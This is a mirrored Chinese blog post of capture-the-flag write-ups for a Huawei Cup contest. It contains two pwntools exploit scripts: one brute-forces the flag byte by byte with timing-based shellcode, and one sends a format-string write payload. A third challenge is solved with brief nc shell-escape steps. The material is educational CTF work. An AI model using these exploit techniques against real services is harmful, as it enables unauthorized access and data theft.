zoukankan      html  css  js  c++  java
  • 第三届华为杯

    NoooCall

    这个要 用shellcode 字节对比。

    #!/usr/bin/env python
    
    # -*- coding: utf-8 -*-
    
    from pwn import *
    
    import sys
    
    from string import printable
    
    context(arch='amd64',os='linux',endian='little')
    
    #context.log_level = 'debug'
    
    host = "192.168.244.161"
    
    port = 8888
    
    #host = '121.36.64.245'
    
    #port = 10003
    
     
    
    def expolit(c,i):
    
        time_start=time.time()
    
        r = remote(host,port)
    
        #payload = '''and rdi,0x1
    
        #mov rsi,[rbp-32]
    
        #push 0x1
    
        #pop rax
    
        #syscall'''
    
        payload ='''mov bl,%d
    
        mov rax,[rbp-32]
    
        add al,%d
    
        cmp byte ptr [rax],bl
    
        jz crash
    
        ret
    
        crash:
    
        jmp $
    
                '''%(c,i)
    
        r.recvuntil("Your Shellcode >>")
    
        #raw_input()
    
        r.send(asm(payload))
    
        
    
        try:
    
            r.recv(timeout=1)
    
        except:
    
            #log.info('sysyssss')
    
            return 555555
    
        return c
    
    flag=''
    
    nn=0
    
    for nn in range(0,32):
    
        for i in printable:
    
    s=expolit(ord(i),nn)
    
    if s==555555:
    
        continue
    
    else:
    
        flag=flag+i
    
        if i=='}':
    
            print flag
    
                    sys.exit(0)
    
        log.info(flag)
    
        #raw_input()
    
        break

    format

    就是一个简单的格式化漏洞

    #!/usr/bin/env python
    
    # -*- coding: utf-8 -*-
    
    from pwn import *
    
    context.log_level = 'debug'
    
    host = "192.168.244.161"
    
    port = 8888 
    
    #r = process("")
    
    r = remote(host,port)
    
    def rsl(c1,c2):
    
        r.recvuntil(c1)
    
        r.sendline(c2)
    
     
    
    def rs(c1,c2):
    
        r.recvuntil(c1)
    
        r.send(c2)
    
     
    
    r.recvuntil("...
    ")
    
    r.recvuntil("...
    ")
    
    #raw_input()
    
    payload = '%188c%10$hhn|%171c%18$hhn|%189c%10$hhn|%133c%18$hhn'
    
    r.send(payload.ljust(0x37,'x00')) 
    
    r.interactive()
     

    Shellmaster

    用nc连上

    然后 $0 进入当前的shell

    然后ls

    然后 ./flag >&1

  • 相关阅读:
    5、垂直拆分---分库--mycat
    4、读写分离---双主双从(mycat)
    3、读写分离---一主一从(mycat)
    2、安装启动(Mycat)
    1、入门(Mycat)
    Nginx 相关参数记录(2)
    Nginx 相关参数记录(1)
    Linux
    一大波学习内容!
    开源镜像站
  • 原文地址:https://www.cnblogs.com/liyuechan/p/12124978.html
Copyright © 2011-2022 走看看